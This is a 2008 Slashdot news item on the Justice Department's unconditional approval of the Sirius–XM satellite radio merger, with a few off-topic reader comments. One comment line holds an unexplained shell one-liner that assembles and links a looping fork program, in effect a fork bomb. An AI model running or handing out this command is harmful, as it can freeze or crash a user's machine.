Justice Dept. Approves XM/Sirius Merger

Posted by Zonk on Tuesday March 25, 2008 @02:05AM from the two-great-tastes dept.

Ripit writes "Just yesterday the Justice Department approved the merger of Sirius Satellite Radio and XM Radio, a Sirius takeover to the tune of $5 billion. The transaction was approved without conditions, despite opposition from consumer groups and an intense lobbying campaign by the land-based radio industry. 'In explaining the decision, Justice officials said the options beyond satellite radio -- digital recordings, high-definition radio, Web radio -- mean that XM and Sirius could merge without diminishing competition. "There are other alternatives out there," Assistant Attorney General Thomas O. Barnett said in a conference call. "We just simply found that the evidence didn't indicate that it would harm consumers."'"

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Re:Umm... what other Satellite Radio is there? by Hal_Porter · 2008-03-25 04:41 · Score: 0, Offtopic

Cell phones can be jammed using satellites though.

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echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Flamebait? by ivan256 · 2008-03-25 05:49 · Score: 0, Offtopic

I don't see how... Unless the moderator is some sort of satellite radio fanboy.